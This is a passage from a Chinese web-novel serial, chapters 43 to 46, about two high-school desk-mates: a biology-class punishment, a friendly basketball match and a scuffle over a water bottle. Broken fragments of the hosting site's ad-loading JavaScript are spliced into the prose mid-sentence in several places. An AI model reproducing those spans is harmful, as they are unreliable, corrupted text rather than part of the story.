林藏初要出口的玩笑话打了个绊,变成了另外一句挑不出来错误的回答:“啊……对,刚到班级。” “这节是生物课?” 听到旁边传来一声不轻不重的“嗯”,林藏初弯腰从桌屉里抽出来那张被他塞到最里面的理综月考卷子。 谢遥集盯着他那叠乱七八糟、满是褶皱的试卷,有些沉默地收回了视线,长指一勾把眼镜重新架回鼻梁:“林同学。” 林藏初拿着卷子茫然转头:“嗯?咋啦?” 谢遥集指了指他坏掉的理综试卷一角,以及上面乱涂乱画的墨水痕迹,没说话,但是无声胜有声。 林藏初:“……” 林藏初“嗖”地一下把自己千疮百孔的卷子拿走了,十分迅速地压在了生物书的下面。 “做不出来题,撕一撕卷子怎么了?”他欲盖弥彰地咳嗽两声,偏过身去把生物书也往旁边挡了挡。 谢·书本强迫症·遥集强迫自己收回了目光,似乎是想说点什么,但最终还是忍住了。 墙上广播分贝极弱的上课铃紧随其后地响起来,生物老师胳膊下夹着资料和考试卷,踩着高跟鞋噔噔噔地走进教室。 “前天我们把考试卷讲到哪里了?” 她放好水杯,视线遥遥地朝着整个班级扫视一圈。 几秒钟后,生物老师施施然下了讲台,开始了今日份的死亡巡视。 “这节课就不自习了,先把欠下的卷子讲完。” “同学们把月考的生物卷拿出来——” 谢遥集也跟着翻开桌面上的生物选择题汇总,准备从里面抽出自己的理综卷。 结果一整本厚厚的习题册都快翻完了,也没找到那张足有七分崭新的考试卷。 谢遥集:“……?” 不是,他卷子呢? 谢遥集后知后觉地想起来上课之前,坐讲桌旁边的同学因为要对上课记的化学笔记,所以顺便把自己的理综卷子借走了。 ——到现在也没还。 他默了两秒,在“放下身段主动扔纸条把卷子要回来”和“跟同桌共看一卷”之间艰难地选择了后者。 谢遥集叹了口气,伸手拍了下林藏初的肩膀:“……商量个事。” 林藏初:“啥事儿?” 谢遥集:“好同桌,卷子借我看看。” “?” “好同桌”这三个字颇有一点无事献殷勤的意味在,林藏初看向这人只有一册生物选择题集的空荡荡桌面,拽着卷子语气迟疑:“你自己的呢?” 谢遥集说:“借别人了,没还。” 林藏初:“……” “噢,那看我的吧。”林藏初不是那种斤斤计较的人,立刻大度地把自己的卷子分享到了两人的桌面中间。 谢遥集瞧着对方好看的手把那张满是裂纹濒临破碎的理综卷徐徐地推过来一截,同时听到这人小小声嘀咕:“嫌弃这嫌弃那的,最后还不是要沦落到和我看一张卷的地步。” 谢遥集:“。” 谢遥集深吸一口气,低着头把身子往左边凑了凑。 距离骤然拉近,林藏初被温热的呼吸扑得鼻尖一痒,下意识往后挪了下椅子:“干嘛凑这么……” 高跟鞋敲击地面的声音已经不知什么时候消失了。 林藏初一抬头,恰好对上生物老师弯下腰来盯着人时那张放大的脸。 林藏初:“……!” 空气中弥漫着森冷的低气压,生物老师的视线在两个人之间不断逡巡,最后落在桌子缝隙中间那张可怜的理综卷子上,一字一顿地问:“你俩到底谁没卷儿?” 谢遥集在方才看见生物老师的第一秒钟,就已经心绪千回百转地为自己编造好了理由,但他没能抢过不假思索开口的林藏初。 林藏初说:“老师,我没卷。” 谢遥集张着的嘴重新合上,看见生物老师幽幽转身,原本放在自己身上的怒视跟着转移到了一旁的林藏初身上。 “这才考完几天,你为什么没有考试卷儿?” “——什么,忘家里了?” “你怎么不把自己也给忘在家里?”生物老师一不能容忍迟到,二不能容忍学生上课不带书,此时听见林藏初的回答怒火更甚,“给我上后面站着听去!” 她把自己手里写满教学设计的考试卷拍在了林藏初怀里:“下次别再被我抓到,否则到外面走廊凉快去——听见没有?” 林藏初……林藏初心道,还好,没有露馅。 他松了一口气,乖顺地朝着生物老师点点头,抱着卷子起身往后走。 ……这人今天怎么这么听话? 他走得太过果断,生物老师狐疑地向教室后面瞧了两眼,但也没看出什么蹊跷来。 她只好收回了视线,一转头,看见好学生谢遥集坐在位置上,正在认真地看理综卷面的题。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >生物老师想起来这人理综缺考的事,想着的确是应该再多关怀些,于是弯下腰顺手把他面前的那张卷子给拎起来:“谢同学,你后来有限时做过这套卷子吗?有没有不会的……” 话音戛然而止,因为她忽然看见这张卷子上胡乱画着的墨水涂鸦。 有驴有鸡有王八。 生物老师:“……” 她又把试卷长长地翻了个面。 背面更是黑一道蓝一道惨不忍睹,就连化学方程式都被难逃其手地涂黑了。 物理大题的参考图上用红笔画了个滑稽的鬼脸,上书三个形神俱散的大字:不想写。 生物老师:“…………” 试卷被她啪地一声重重摔回桌面,周围几个离得近的同学跟着缩了缩脖子。 “这是你的卷子?”生物老师不可置信地望着座位上无端沉默的人,压着怒气发火道,“谢遥集,缺考的事我暂且不找你算账——你对试卷就是这个态度?” 站在后面的林藏初没想过事情会是这个发展走向,一时间有些傻眼。 谢遥集沉默地向他投来个复杂的眼神,林藏初从里面明晃晃地看出一句话:挪挪地方,我随后就到。 “……” 他没忍住因为同桌的倒霉程度而倒吸一口气,抬起手,预见结果般不忍直视地捂住眼睛。 之后果不其然听见生物老师阔别多日的河东狮吼:“你也拎着卷子给我站墙根儿去!就该治治你们这些坏毛病!” 从林藏初这个角度看不见谢遥集是怎么起身的。 总之几秒钟后,他眼睁睁地看着这人拎着那张“大逆不道”的理综试卷从生物老师旁边经过,然后闲庭信步地朝着他踱过来。 ……好生熟悉。 一切又好像回到了刚成为同桌的那个明媚上午。 他和谢遥集因为一本写了名字的生物书而双双罚站。 一个死不松口,一个死不松手。 最后水到渠成地把自己和对方都送进班主任办公室写检讨。 遥远的记忆像是被拨了开关一样,走马灯似的在脑袋里晃,熟悉的气息在身侧站定,又趁着老师不注意的间隙悄悄地靠过来了几厘米。 做贼似的。 林藏初有些想笑,刚想转身问他靠得这么近干什么。 还没等开口,垂在身侧的手指忽然被人碰了碰。 林藏初愕然低头,只看见谢遥集校服袖子下面绕在腕骨处的一串红绳手链。 指缝间相碰的痒意一触即分,谢遥集面上仍是一副在认真听课的样子,藏在校服袖子底下的手指却勾着林藏初的掌心,不易察觉地塞过来一件小巧的硬质物什。 林藏初下意识地收紧手掌。 薄薄一张,摸上去的质感有点像硬纸壳。 他低下头,把手掌举到眼前慢慢摊开,是一张用卡纸叠成的小扁猫。 尾巴处还被人绑了一根短短的红线。 ……好像是从谢遥集手腕系着的红绳里随便抽出来的一小截。 他盯着猫脑袋前面用圆珠笔画上去的、七扭八歪的卡通眼睛,又看看欲盖弥彰地往旁边分开了几公分的谢遥集。 心跳莫名其妙地变快了一点。 44. Chapter 44 下课铃一响,立刻就有一堆好事的同学关怀般围了过来。 “你俩怎么又罚站了?”高姿皱着眉,似乎是很不能理解生物课上同一件事发生的概率,直到方有才一脸愧疚的过来,双手呈上那张失踪了一整节生物课的理综卷子。 “对不起谢神……对不起林神……” 方有才左鞠躬完了再右鞠躬,“记性不好,抄完就忘记还了……明天请你们吃炒酸奶。” “能不能帮我也捎一份?”还没等正主开口,周扬在座位上遥遥举手。 高姿也递出来一张十元钱:“我也要。” 林藏初:“……去去去,边儿去,这是请我俩的。” 谢遥集没忍住,也跟着笑了一下。 周扬撇撇嘴:“反正也要到店里去买嘛,带一份怎么了!” 高姿也附和:“就是就是!” 隔着几张课桌,还有人七嘴八舌地在讨论生物老师上课讲的考试题。听见这边在说炒酸奶,也跟着举手插话:“我也想吃!能不能买金先生他们家的?” 对面坐着的人伸手给了他个暴栗:“别想着吃了!你还没说呢,这条肽链到底几肽啊?” 被砸的人眼泪汪汪地回头,刚想说话。 隔着过道的南排同学闻讯探头,扯着嗓门大喊:“我知道!七肽!!” 声音清楚到班级外面的五楼楼梯拐角都能听得到,于是整个高三(1)班的同学们就看见他们敬爱的生物老师抱着书去而复返,从门外的走廊里探出个脑袋,厉声道:“几肽?谁说的七肽?!” 她视线绕着班级里面或站或坐的学生看了一圈,准确地锁定了嫌疑人,憋着火佯装怒道:“上课怎么听的!给你踢外边儿去!!” “哈哈哈哈哈哈哈哈哈哈哈哈!” 周围立刻爆发出善意的哄堂笑声,高姿也跟着遗憾地摇摇头:“都说了,嗓门太大迟早有安全隐患。” 林藏初想起自己险些被震聋的经历:“确实,我认同你的观点。” “……还好我的同桌一点也不吵。” 他话里蕴含着一种莫名其妙的自豪,高姿难以言喻地看了他两眼:“你再炫耀一个试试?” 林藏初嘿嘿一笑,挎着谢遥集的脖子把人拉过来。 “你们想要还没有呢。那没办法,我运气一向特别好。” “是吧?”他用胳膊怼了怼谢遥集。 谢遥集被林藏初突然的亲密接触弄得一怔,没说话,缓了几秒才道:“嗯。” 对方好看的手指很自然地垂下来,落在谢遥集的锁骨下方。 他几乎没有注意到自己叫人勒得有些喘不上气,触感的神经末梢都聚集在了那小小一片、被人指尖晃荡着轻轻摩擦的皮肤上。 ……越擦越热。 林藏初似乎对自己的挂件身份接受良好,很快就加入了别人的聊天话题,半分钟后放在谢遥集身上的手还是没松。 谢遥集能感受到这人笑得前仰后合,每一动作就会听见对方微微发颤的胸腔,呼吸时绕在脖颈之间的温热气流,好似情人呓语、枕边呢喃。 他滚了下喉结,霎时被心里那团不明不白的火烧得口干舌燥,用了几分力气才堪堪把身上的人撕下来:“……别闹。” 林藏初被他甩得一个趔趄:“?” “热。”谢遥集言简意赅道。 ……啥? 林藏初看了看夜色如墨的窗外,天气预报说今天降温,凌晨可能会有雨。 就连向来不怕冷的他来学校上晚自习的时候都穿了件外套。 谢遥集竟然说热?? 他想半天都没想通个中关窍,动作先思维一步地把手盖在了对方的额头上:“怪了,这也没发烧啊。” “……你下丘脑坏了?” 林藏初想起来上节课刚讲过的生物题。 谢遥集:“……” “什么事都没有,别瞎扯……还有,学的知识不要随便乱用。” 谢遥集把人牢牢地按回座位:“睡觉吧。” 林藏初挣扎:“不——我不困!” 谢遥集语调温和:“你困了。” “我没困!!”被按住的人再次疯狂挣扎,未果。 他还想再说些什么,视线触及到谢遥集此刻的表情时,又很突然地住了嘴。 ……像是要把谁吞吃入腹一样。 算了。还是不惹为妙。 * 篮球友谊赛最终定在了这周日的下午。 上午刚连着上完四节数学,高三(1)班的学生都有一种恍若被人吸了魂的虚弱无神感,以致于在赛场上遇见高二(1)班学弟学妹们的时候,对面迟疑着发来问候:“嗨……你们还好吗?” 周扬站在篮球场的正中央,跟对面的队长握手,脑子里全都是贝姐上午讲的函数放缩技巧:“不,我不好。” “一点儿都不好。换成你们连上四节数学也不会好……” 高二(1)班的篮球队长叫路明航,个头不是很高,照周扬要矮下去足足半个脑袋,闻言立刻同情地打了个寒战:“真惨啊,还好我们班拥有一个正常的周六日课表。” 林藏初是被高姿强行拽过来围观比赛的。 他扒在篮球场的围栏上,熬夜过后的脑袋还有点晕,眼不睁开地打了个哈欠:“这几个人干嘛呢,怎么还没开始?” “看着好像是在赛前寒暄。”高姿也仔细地盯着里面的人看了看,“正常来说不应该是互相放狠话吗?怎么到他们这儿就变成友好寒暄了,怪。” 临水一中穷得叮当响,自然没钱在操场上搭个阔气的看台,这场篮球友谊赛的观众都黑压压地挤在围栏外面,里一层外一层的人。 对面站着的就是高二(1)班的学弟学妹,场上比赛还没开打,林藏初眼尖地看见人群里带头拉加油横幅的自家妹妹。 林子浔好像也看见了他,遥遥地腾出来一只空闲的手,高兴地打了个招呼:“哥!” 林藏初点点头,算是回应。 “你妹妹啊?”高姿瞧了眼对面被众人簇拥的漂亮女生,“哇,高一的时候就听你提过,今天还是头一次看见真人。” “嗯,我俩在学校不常见面。”林藏初说,又想起谢遥集当时有关于“妹妹”的疑惑来。 ……高姿都知道的事情,他却不知道。 说曹操曹操就到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,谢遥集从远处忙完事情回来,高姿招呼道:“谢神!这儿!” 林藏初看他侧身穿过周围密密麻麻的同学挤过来,最后站在自己旁边的空位上,没来由地有点不爽。 “挤死了,你往旁边去点儿。” 他抿着唇,忿忿不平地找茬道。 谢遥集刚从主任办公室开会回来,手里捏了一大堆的资料表,好不容易跋山涉水地挤过来找到组织却惨遭拒绝:“?” 他敏锐地察觉到林藏初的情绪有点不对劲。 “怎么了?”谢遥集问。 “……没怎么。”林藏初闷闷开口,小心眼地以牙还牙道,“热。” 谢遥集:“。” 一旁的高姿看了看悬在正空下午两点的大太阳,跟着赞同地插话:“今天确实有点热。” “也不知道这比赛什么时候能打完。” 谢遥集于是把未出口的话咽回去,也跟着往篮球场里面看。 哨声响起,欢呼加油声在裁判抛球的一瞬间爆发。 场地中央的两人几乎是同一时间高高跳起,瞬息之间篮球被周扬成功抢到,立刻运球发起进攻。 才跑到一半,就被对面的3号位虎视眈眈地给拦住了。 林藏初不怎么看篮球比赛,眯着眼看了半天也没看出个局势所以然,倒是把视线往球场上的学弟们身上转了几个来回。 然后就发现里面似乎有个眼熟的面孔。 比旁人都要好看上那么一截。 林藏初隐约想起来自己运动会当跳高裁判的时候,这个学弟还拿了最高分。 之前出去吃饭的时候也遇见过。 好像是叫晏俞辞来着? 他不由得把视线放在晏同学身上多停留了一阵,然后就看见这个学弟忽然一个假动作,在几步开外轻巧跳起,准而稳地接住了周扬被围追堵截时匆忙传出去的球。 “卧槽。”负责接球的同学骂了一声,脚下立刻换了方向去打拦截。 林藏初没看清晏俞辞是怎么带球过人的,白色的影子在球场穿梭,等他反应过来的时候球已经稳稳地进了篮筐。 对面的围观同学齐声欢呼,林藏初隐约听见几句分贝极大的“晏哥牛逼!”“以前怎么都在隐藏实力”之类的喊声。 “这个帅学弟厉害啊。”高姿也在旁边心服口服地跟着鼓掌,“进攻速度好快——这是他们班2号位?” “嗯。”谢遥集也看见了方才那个极为利落的上篮,点头道,“之前有幸跟他见过几面,各方面素质都很强。” “——这个上半场看着不是很好拿分。” 说话间,场上又是几个来回的进攻防守。十几分钟过去裁判吹哨,比分最后停留在了4:2。 退下场的同学被零零散散的人围上来递水,林藏初看着计分板上自家班落后的分数,也跟着往前几步凑上去看热闹。 他倒是忘了帮人拿水,周扬满头大汗地伸手捞了个空,刚要哀嚎,又被一旁的谢遥集眼疾手快地塞了瓶拧开的矿泉水。 “还是谢神好啊。”周扬咕嘟咕嘟地一口气喝空半瓶,擦了擦嘴,喘口气道,“对了,下场该你上了——打算怎么打?” 45. Chapter 45 林藏初:“?” “什么?”他把视线缓缓移到谢遥集身上,“你也要上场?” 谢遥集在对方震惊的目光中深藏功与名地点点头:“嗯,我是下半场的替补。” 还没等林藏初再仔细质问,中场休息结束的裁判哨声就响了起来。 谢遥集看着尚在发愣的人,不知作何想地叹了口气,也没多说,只朝他摆了摆手:“……走了啊。” 周围的人仍然很多,但是都十分自觉地以谢遥集和周扬为中心退出来一个圈,目送两人进场。 英语课代表方有才站在旁边兢兢业业充当矿泉水看管人员,也跟着喊了两嗓子加油,林藏初实在没忍住,拍了拍他的肩:“嘿,哥们,问个事儿。” 方有才正在把选手们喝了一半的矿泉水分门别类地放好,闻言回头:“噢,林哥——怎么了?” “你们这个篮球比赛,都是自己报名参加的吗?” 林藏初想起谢遥集拍给他的那张报名表,后知后觉地怀疑这会不会是来自同桌的一种隐晦邀请。 但是他又感觉谢遥集不像是会凑这种热闹的人,至少在高中的前两年不会。 “噢,最开始确实是要主动报名。” 方有才说:“但是你也知道咱们班同学对学习之外的东西兴致都不高……所以很意料之中地名额没报满。” “于是贝姐就想了个抽签的法子,喏,这不。”方有才冲着谢遥集的背影扬了扬下巴,“倒霉蛋一号。” 他又指了指已经在场上站好的另外一个人:“倒霉蛋二号。” 林藏初:“……” 好朴实无华的参赛理由。 站得太久腿都有些麻,他干脆找了块干净的台阶盘腿坐下了,视线有一搭没一搭地找着场上谢遥集的身影。 高姿已经不知道钻到哪里去了,不太好找,林藏初只好跟一边无所事事的方有才主动组成了两个人的看球小组。 高三(1)班这边一开场就进了个三分,比分立刻追平反超。 方有才激动得险些一脚踹在装矿泉水的箱子上:“嗷!体委牛逼!” “拦他拦他!芜湖——帅!” 林藏初:“……” 林藏初揉了揉被猴叫声狂轰乱炸的耳朵,默默地离方有才坐得远了一点。 半场上奔跑的同学都穿了自搭的球衣背心,显得谢遥集身上的校服短袖格格不入。 林藏初盯着他瞧,瞧来瞧去又感觉这人好像是去篮球场上摸鱼的。 ——跟着大部队从左边跑到右边,又从右边跑到左边。 篮球从空中重重飞过来,再被队友奋力接住,每个让人热血沸腾的画面里仔细一找,都能找到谢遥集的身影。 但如果论起这人到底出了什么力,又一个地方都没有。 赛场外正等着给谢遥集这场篮球首秀加油的迷妹气氛组迟疑地放下手,低头看了看自己手里的荧光棒,陷入沉思。 ……这油,到底是加还是不加? “这么一想,以前好像确实没看见过谢神在体育课打过篮球。” 方有才忧心忡忡地关注着篮球场里面焦灼的战况,“他是不是不太会啊?完了,这下咱班真的要输了……” “唰啦”一声,林藏初拆开自己带来的薯片,递给方有才:“吃吗?” 方有才立刻住了嘴,吐槽到一半的担忧全转化成了对番茄味薯片的向往:“吃!” 林藏初于是把薯片的包装袋递得离他更近了些:“不够的话这边还有。” 他翻了翻自己从对面超市采购回来的超大零食袋,尽职尽责地开始报起菜名:“薯条果冻干脆面魔芋爽……” “……”一心向吃的方有才手里捏着脆生生的油炸薯片,下意识地跟着咽了咽口水,把刚才批判人的事情忘去了九霄云外。 林藏初哄好了旁边这张不安分的嘴,确认周围的学生没有再假装看比赛实则听隐秘八卦之后,终于安心地把视线重新投回了赛场上。 现在是对面的篮球队队长正在主动带球进攻,林藏初记起上半场这人进球时场外的欢呼声,喊的似乎是路明航。 路明航本想把球找机会传给晏俞辞,好试着看能不能再投个三分,奈何晏俞辞被对方的人严防死守,缠得实在是紧。 他干脆做了个假动作,表面传球实则带球过人,几个跨步运球就到了篮下。 路明航动作太快,拦截的周扬等人几乎没反应过来,严密的包围圈空了个口子,被人找到突破口成功杀出—— ……有戏。 天时地利人和,路明航自信满满地一个三步跳跃上篮。 篮球偏了些准头,磕在篮筐边上,像是贴了磁似的绕着转几圈,顺着篮板的左侧落下。 路明航心下一沉,眼疾手快地伸手去挑—— 旁边忽然伸出来一只骨节分明的手,没用什么力气地轻飘飘一拨。 路明航抢夺不及,眼睁睁看着向下坠的篮球顺着力道飞到慢半拍来拦板的周扬怀里:“……” 周扬显然也是被这突如其来的一个球砸懵了:“卧槽?” 篮球赛场瞬息万变,他很快就反应过来,迅速运球向着对面的敌方篮筐发起反攻。 路明航立刻拐回自家半场防守。 几分钟后篮球经手多人,再次到了高二组体委的手里,他遥遥地冲着中场附近的晏俞辞打了个手势。 晏俞辞瞬间会意,找好对方防守间隙的同时,尽量贴近已经反跑到敌方篮下的路明航,接球瞬传。 路明航拿到球之后的第一秒就转身投篮,几乎是和方才上篮失误一模一样的位置。 他在心里笃定地想:这次必中。 篮球脱手腾空的刹那,旁边再次伸过来一只格外眼熟的、戴着红绳的手腕。 接连两次投篮被截,路明航往回跑的时候终于忍不住爆了粗口:“我操,这逼谁啊!” 刚才也没发现场上有这么个人啊! “高三那个谢神啊。”晏俞辞从他身边跑过去,随口道,“化学老师上课总夸的那个,这你都忘?” 场地外面的林藏初刚拆开一袋五香瓜子,还没来得及磕,就被方有才石破天惊的加油声震得撒了一地:“牛逼!!谢神牛逼!盖他帽儿!!上啊!” 林藏初:“……” 谢遥集不是上去摸鱼的吗?还真能接到啊? 他没忍住,又朝着场上篮板下方信手游闲的人看了看。 明明离得远,但谢遥集仍是察觉到了他的视线,转过头来远远地冲人比了个手势。 林藏初看懂了。 ……这人是渴了,要喝水。 他忽然想起来什么,一转头,果不其然看见场外一堆手里拿着脉动等饮料的迷弟迷妹们,一个个的都莽足了劲儿,就等着比赛结束给人冲上去送水,目光炯炯虎视眈眈。 林藏初对比了下自己鞋子旁边快被方有才给踹烂的廉价矿泉水纸箱:“……” 难道这人不喜欢贵的,喜欢便宜的? * 哨声响起,最后高三组以一分之差险胜,一群人乌泱泱地聚集到中场友好握手。 “谢学长厉害,久仰大名。” 轮到谢遥集,路明航由 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 衷地竖了个大拇指:“最后那个篮板球,很帅。” “客气。”谢遥集也跟着点点头,“你打得也不赖。” 这边还在商业互赞,不远处的周扬已经和对面的体委大咧咧的勾肩搭背互换联系方式了:“兄弟,改天一起约球啊!” “好说好说,下周日怎么样?……” 谢遥集收回视线,听见对面的路明航问:“谢学长平时也喜欢打球?” 谢遥集:“没有,不怎么玩。” “最近县上新开了一家篮球馆……啊?”路明航的邀请还没说完十分Q弹地碰了壁,霎时瞪大双眼,“不玩?” 谢遥集:“嗯,今天第一次上场。” 路明航:“……” 路明航彻底傻眼了。 后面的晏俞辞过来帮他打圆场:“没事,不约球也可以约别的,是吧——谢学长?” “嗯。”谢遥集看着这个在补课机构阴差阳错碰过面的学弟,好脾气地笑笑,“可以约别的。” ——比如一对一补课。 两个人又就着话题聊了一会儿,对方很善解人意地没提那次师生模式的偶遇,他也乐得接受晏学弟这种细致入微的人情关怀。 拎着便宜矿泉水的林藏初左等右等,只看见场上的几个人站在一起不知道嘀嘀咕咕些什么,反倒耗在原地不走了。 旁边的迷弟迷妹们好像已经在商量着直接冲进去要联系方式了,英语课代表正在撕第三袋辣味魔芋爽,指望不上。 林藏初犹豫再三,一咬牙拎着矿泉水站起来,几秒钟后又再次坐下了。 方有才看他起起坐坐的迷惑行为,嘴里咀嚼的动作顿了下:“林哥,你干嘛呢?” 林藏初从紧贴着铁丝网的石板台阶上第四次站起来。 “……等人。”他幽幽地说。 方有才:“?” 他顺着林藏初的视线看过去,只看见场内背对着这边相谈甚欢的谢神。 林藏初的心情看起来好像不太好,方有才绞尽脑汁想了半天原因,一低头,忽然看见这人手里捏着的矿泉水瓶:“噢,你要过去送水啊?” “早说啊!咱俩一起……” 场地边缘那一大片黑压压蓄势待发的学弟学妹存在感极强,方有才咽了下口水,豪言壮志也跟着迟疑两秒,“一起……别去了吧?” “……给谢神送水的人这么多,想必也不差咱这两口。” 方有才还在絮絮叨叨,听着有一种苦口婆心的老妈子即视感:“纯正的同桌友谊绝不会因为少的这一口水就变质,不过谢神今天在场上确实牛逼,不知道又要成为多少学妹的心中男神……” 后面的话没说完,因为林藏初忽然又站起来,面无表情地把他的嘴给按上了。 “——你烦不烦?” 方有才吹捧未半而中道崩殂,立刻激烈抗议似的唔唔几声。 林藏初一手捂着他的脸,一手拎着那瓶原本要献给谢遥集的矿泉水,然后就发现刚才还忿忿不平的方有才不知道什么时候忽然变得安静了。 他抬头,正巧对上方有才略有些惊恐、疯狂朝身后方向暗示的眼神。 “……?” 林藏初似有所感地转过头,看见前一秒还在篮球场上聊天的谢遥集正站在他身后。 搭在脖颈上的发尾被汗微微浸湿,过度运动之后的夏季校服在腰腹间勾勒出好看的肌肉轮廓。 林藏初一时间僵在原地忘了动作,只能愣愣地看着这人弯下腰,从自己手里接过那瓶已经被捏到有些变形的矿泉水。 他问道:“你们在干什么?” 46. Chapter 46 谢遥集的语气算不上是不温和,但是林藏初还是从里面听出来一种风雨欲来的危险感。 他松开手,下意识地往后退了一步:“没有啊……没干什么。” 方有才短暂地重获呼吸自由,立刻前仰后合地夸张咳嗽起来,试图第一时间撇清干系:“谢神!管管你同桌!!是他先动的手!” 林藏初:“……” 这话实在太火上浇油,林少爷哪里受过这种气,恨不得把方有才那张欠扁的嘴给再捂上。 旁边传来两声不轻不重的咳嗽,林藏初刚要抬起的手缓缓放下了。 谢遥集慢条斯理地把矿泉水的瓶盖拧紧了,往林藏初的身上蜻蜓点水地看了一眼,道:“找我没用。” 谢遥集说:“林少爷金枝玉贵的,我哪里能管得到。” ……什么意思? 饶是神经大条如林藏初,火气也因为这似是而非阴阳怪气的一句话而蹭地冒上来了。 “嗯呢,确实比不上你。场上库库炫技,场下热聊学弟,外边还有一堆迷妹追着跑——” 林藏初冷笑两声,要去拎方有才领子的手在半空拐了个弯儿,直直地摊在谢遥集的面前:“把水还我。别喝了。” 谢遥集:“喝过了就是我的,凭什么还你?” “你这人——”林藏初要上手去抢,但是被对方刻意把水举高,踮着脚死活够不到。 方有才在旁边惊悚地看着两个人之间宛若小学鸡一样的吵架现场,张了张嘴,到底还是很有眼力见地沉默了。 只不过他心里实在纳闷儿:这是那个稳重温和常年脸上挂笑的谢神? 还有边上的林哥……平时一言不合就暴躁发火的刺头劲到底哪去了?? 方有才想半天没想通,干脆不想了,正好周扬从球场出来喊他:“兄弟,我要渴死了,水还有剩的吗?” “有啊,还剩好多呢——”方有才弯腰去纸箱里拆矿泉水,再一抬头,发现旁边那对儿同桌还是在抢唯一一瓶矿泉水。 方有才:“……” 对啊,箱子里还剩这么多,你俩到底在抢个什么劲儿? 他没敢问,但是周扬显然要更加地不拘小节,从纸箱里拆出的矿泉水里随便拎起一瓶咕嘟咕嘟灌没了一半,擦擦嘴爽朗问道:“谢神,你俩干嘛呢?” 没等谢遥集答话,林藏初瞧准机会莽足劲猛地窜高一跃,终于将对方手里的塑料瓶抢了下来—— “哈,”谢遥集被他拽得一个趔趄,整个人向前踉跄几步,听见林藏初志得意满的语气,“这下你躲不掉……” 后面就没声儿了。 因为林藏初落点不对,一脚踩在谢遥集的鞋面上,摔了。 他整个人失去平衡地扑倒在了谢遥集身上,后者因为高举胳膊的缘故重心不稳,两个人交叠着“噗通”一声,结结实实地摔在了树荫里面。 “噗——咳!咳咳咳!” 周扬刚喝进嘴里的水全都喷了出来。 站在他对面的方有才不幸遭殃,外套和衣领都湿了半截:“……” 但是他没有第一时间兴师问罪,注意力全都集中在了躺在地上的两人身上:“……我操啊。” 这是打起来了??? 林藏初的左手还按在谢遥集耳侧的地面上,离得很近。胸口被压得喘不过气,谢遥集能听见这人忽然鼓噪的心跳声。 对方稍长的柔软发梢由于惯性,卷垂着搭进他的领口,皮肤被蹭得很痒。谢遥集偏过头,底下是沥青路粗糙硬实的质感,上面是温热的、带着重量的胸膛。 时间在一瞬间被拉得很长,谢遥集眨了下眼,看见林藏初右手悬空握着那瓶命运多舛的矿泉水,举也不是放也不是,就这么僵持着。 林藏初其实是摔蒙了。 他万万没想到自己能在同一件事上接连滑铁卢两次—— 下大雨的那天是,现在也是。 摔得没有任何防备,甚至同样都是占着一只手,同样地摔在了谢遥集身上,堪堪避免骨折风险。 只是脸有一点儿疼。 林藏初不敢去看谢遥集的眼睛,嘴上却干巴巴地道:“每次一跟你碰见,准儿没好事。” “……晦气!” 不知道是在骂对面还是骂自己,林小少爷从牙缝里挤出来两个字,撑在地上的左手用力,想把自己从谢遥集身上抬起来。 他没能如愿。 身体刚离开一小截,腰窝就被人伸手轻飘飘地按住了,没费什么力气地向下一勾。 ……噗通。 林藏初又摔了回去。 ??? 这人有病? 林藏初脑子懵了一瞬,张嘴就要骂:“你他妈——” “被你砸疼了。”这个视角只能看见谢遥集说话时微微颤动的喉结,林藏初被这人的手牢牢地按在身上,然后听见他说,“这要算工伤,赔钱。” ……掉钱眼儿里了? 林藏初骂人的话在嗓子眼儿梗住,重组成一个茫然的单音节:“啥?” 他怔愣的样子太过认真,好像真的思考了一下这两句话之间的逻辑可行性。于是谢遥集就闷闷地笑,笑得胸腔发颤:“少爷,我开玩笑的,你怎么还当真了?” 林藏初反应过来自己又被这人耍了。 他恼羞成怒地左手握拳向下一砸,用了几分力气,身下的人跟着闷哼一声。 林藏初捏着他的下巴:“好同桌,天时地利人和,信不信我打你啊?” 虚张声势得太过明显,手底下也明显没太用力。谢遥集顺着他的力道往地面一躺,音调笑眯眯的:“威胁勒索,罪加一等。” “你刚才还抢了我一瓶矿泉水。” 林藏初:“……” 林藏初提高音量:“你真以为我不敢揍你是吧!” 如果他现在不是整个人都趴在对方身上,这话倒还有那么一点可信度。 方有才在旁边看得傻眼,迷茫地伸手怼了怼周扬:“他俩关系一直这么好吗?” “……怎么跟我印象里的不一样?” 周扬看他一眼,耸肩道:“你不懂,同桌在一起坐久了是会被对方的磁场同化的——” “同、化?”方有才跟着复读了两个字,“你是说,林哥跟着谢神成绩会提高?” 周扬:“?” 怎么什么都往学习上扯呢? “这我可没说。”周扬又看了眼树底下还在僵持着,谁都不肯先动一步地两个人,“但是你没发现,谢遥集最近身上的活气儿多了些吗?” * 篮球赛结束得早,正好是到下午饭点儿。 一群人该回家的回家,该去食堂的去食堂,等吃完饭回来上晚自习,天色已经黑了。 今天的晚自习是数学,翘不掉。 林藏初坐在自己的座位上,刚摸出来半本从其他同学那里借来的课外读物,就听见讲台上的贝姐举着还有十一节内容没讲的《直击高考》叹气道:“我就剩18节课了。” “老师啊!十八节 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还少吗!??” 上了整整一周数学双课时的同学齐声哀嚎。 贝姐再次无情叹气:“可是我讲不完了。” “这节课别自习了,我赶进度,直接讲吧。” “不要啊——老师——” 全班求情。 “要的。”贝姐和蔼点头,“乖,咱们把书翻到一百四十七页哈。” “……”高三(1)班,卒。 等到整整三节数学课上完,整个班级都是一种往外冒魂儿的状态。 “贝姐……今天上课强度怎么高……”周扬收拾着书包,整个人已经有点不好了,“她讲的我都没做完,还倒欠两页……” “这不是要期中考了吗,正常。”同桌顶着一张疲惫脸拍了拍他的肩膀,“最近上了部新电影,下周六要不要去看?” “是那部评价很高的动漫?” 周扬想了想,知道他说的是哪个,有点心驰神往,“想去是想去。但是我妈下周六给我安排了课外机构的补课,兄弟心有余而力不足……唉。” 坐在后面没走的林藏初敏锐地竖了下耳朵:“已经上映了吗?” “是啊。”周扬说,“就这周六,正好放半天假,林哥你要去?” 林藏初:“不去,就是问问。” 他把桌屉里那本没看完的课外书往书包里塞,塞到一半,又想起来什么似的,往旁边早就人去书空的桌位上看了看。 